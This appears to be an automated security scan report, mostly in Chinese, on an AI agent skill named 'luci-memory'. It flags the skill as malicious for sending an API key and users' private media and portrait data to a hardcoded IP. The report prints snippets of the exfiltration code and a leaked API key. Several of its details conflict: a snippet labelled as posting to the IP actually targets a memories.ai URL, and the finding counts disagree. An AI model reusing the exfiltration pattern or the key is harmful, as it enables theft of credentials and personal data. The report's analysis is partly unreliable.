中文 EN

Scan Report

Scan New Files

⚠ Malicious — Risk Score 85/100
Last scan:9 hr ago Rescan
85 /100
luci-memory
Search personal video memory — media content and portrait data
通过硬编码IP地址 34.45.179.165 窃取用户 API 密钥并外传个人媒体数据，具备凭证收割和数据外泄双重攻击链。
Skill Nameluci-memory
Duration48.4s
Enginepi
⛔
Do not install this skill
立即禁用该技能，撤销泄露的 API 密钥 MEMORIES_AI_KEY，禁止在生产环境中部署。

Attack Chain 3 steps

◎
Entry 用户安装 luci-memory skill，误以为这是 memories.ai 官方工具
SKILL.md:1
⬡
Escalation Python模块加载时自动执行 resolve_user_id()，将API密钥POST到 http://34.45.179.165 完成凭证收割
scripts/run.py:42
◉
Impact 所有用户搜索请求（视频/图像/音频/肖像数据）持续POST到 34.45.179.165，完成数据外泄
scripts/run.py:18

Findings 6 items

Severity Finding Location
Critical
API密钥在初始化时即被外传至硬编码外部IP Credential Theft
resolve_user_id() 在模块加载时（顶层全局代码）立即执行，通过 urllib POST API密钥到 http://34.45.179.165/luci-memory/personal/...，每次运行 skill 时均会触发凭证外传。SKILL.md 完全未声明任何网络出站行为。
req = urllib.request.Request(USERINFO_API, headers={"authorization": api_key})
    with urllib.request.urlopen(req, timeout=10) as resp:
        data = json.loads(resp.read())
infra_user_id = data.get("data", {}).get("infraUserId")
→ 此函数不应在模块加载时执行；凭证应仅发往可验证的官方域名；添加证书验证防止中间人攻击
 scripts/run.py:42
Critical
所有用户个人媒体和肖像数据POST到硬编码外部IP Data Exfil
API_HOST 硬编码为 http://34.45.179.165，USER_ID 解析后，所有 API 调用（视频、图像、音频、肖像数据查询）均发往该IP。数据外泄在用户每次搜索时发生。
API_HOST = "http://34.45.179.165/luci-memory"
→ 立即停止使用该技能；官方API应使用HTTPS+官方域名；检查是否存在日志或备份中的数据泄露
 scripts/run.py:18
Critical
使用裸IP绕过域名安全检测 Obfuscation
硬编码IP 34.45.179.165 而非域名，无法通过DNS安全监控、域名黑名单或证书验证检测通信意图，且使用 http:// 明文传输，大幅降低攻击暴露风险。
API_HOST = "http://34.45.179.165/luci-memory"
→ 禁止在代码中使用硬编码IP；所有外部通信必须使用HTTPS+域名
 scripts/run.py:18
High
SKILL.md 声称'直接使用Luci-memory API'，实际发往第三方IP Doc Mismatch
SKILL.md声明使用'memories.ai'相关API，但代码实际连接到 34.45.179.165 (非官方域名)。文档与实际行为严重不符，是典型的阴影功能。
metadata.requires.env: ["MEMORIES_AI_KEY"]
→ 文档应明确声明所有网络端点，包括IP地址或域名
 SKILL.md:1
High
.env 文件包含真实API密钥 Credential Theft
.env 中包含真实可用的 MEMORIES_AI_KEY=sk-fdd6e0eca09edd61ff577a675738e687（预扫描IOC已标记）。该密钥已泄露，应立即撤销。
MEMORIES_AI_KEY=sk-fdd6e0eca09edd61ff577a675738e687
→ 立即在 memories.ai 后台撤销该密钥；勿将真实凭证提交到代码仓库
 .env:1
Medium
无第三方依赖但使用标准库，依赖安全性可接受 Supply Chain
scripts/run.py 仅使用标准库（urllib、json、argparse等），无外部依赖引入。但 resolve_user_id 调用了第三方域名 mavi-backend.memories.ai，存在域名被劫持或欺骗的风险。
USERINFO_API = "https://mavi-backend.memories.ai/serve/api/userinfo"
→ 验证 mavi-backend.memories.ai 与 34.45.179.165 是否为同一服务提供方
 scripts/run.py:19
ResourceDeclaredInferredStatusEvidence
Filesystem NONE READ ✓ Aligned scripts/run.py:26 仅读取 .env 文件获取凭证
Network NONE WRITE ✗ Violation scripts/run.py:18,42 将API密钥和用户数据POST到硬编码IP 34.45.179.165，SKILL.md未声明任何网络出站行为
Environment READ READ ✓ Aligned scripts/run.py:35 读取 MEMORIES_AI_KEY（已在SKILL.md声明）
1 Critical 1 High 4 findings
🔑
Critical API Key 硬编码 API 密钥
sk-fdd6e0eca09edd61ff577a675738e687
.env:1
📡
High IP Address 硬编码 IP 地址
34.45.179.165
scripts/run.py:18
🔗
Medium External URL 外部 URL
http://34.45.179.165/luci-memory
scripts/run.py:18
🔗
Medium External URL 外部 URL
https://mavi-backend.memories.ai/serve/api/userinfo
scripts/run.py:21

File Tree

5 files · 26.4 KB · 605 lines
Python 1f · 432L Markdown 1f · 165L YAML 1f · 4L Shell 1f · 3L Other 1f · 1L
├─ ▾ 📁 scripts
│ └─ 🐍 run.py Python 432L · 17.0 KB
├─ 🔑 .env ⚠ 1L · 52 B
├─ 📋 config.yaml YAML 4L · 173 B
├─ 🔧 run.sh Shell 3L · 111 B
└─ 📝 SKILL.md Markdown 165L · 9.0 KB

Dependencies 1 items

PackageVersionSourceKnown VulnsNotes
requests (implied via urllib) stdlib only Python 3 standard library No 仅使用 urllib.request，无第三方依赖

Security Positives

✓ 代码结构清晰，无复杂混淆逻辑，便于静态分析识别硬编码IP
✓ 无 eval()、subprocess 等动态代码执行
✓ 无访问 ~/.ssh、~/.aws、.env 以外的敏感路径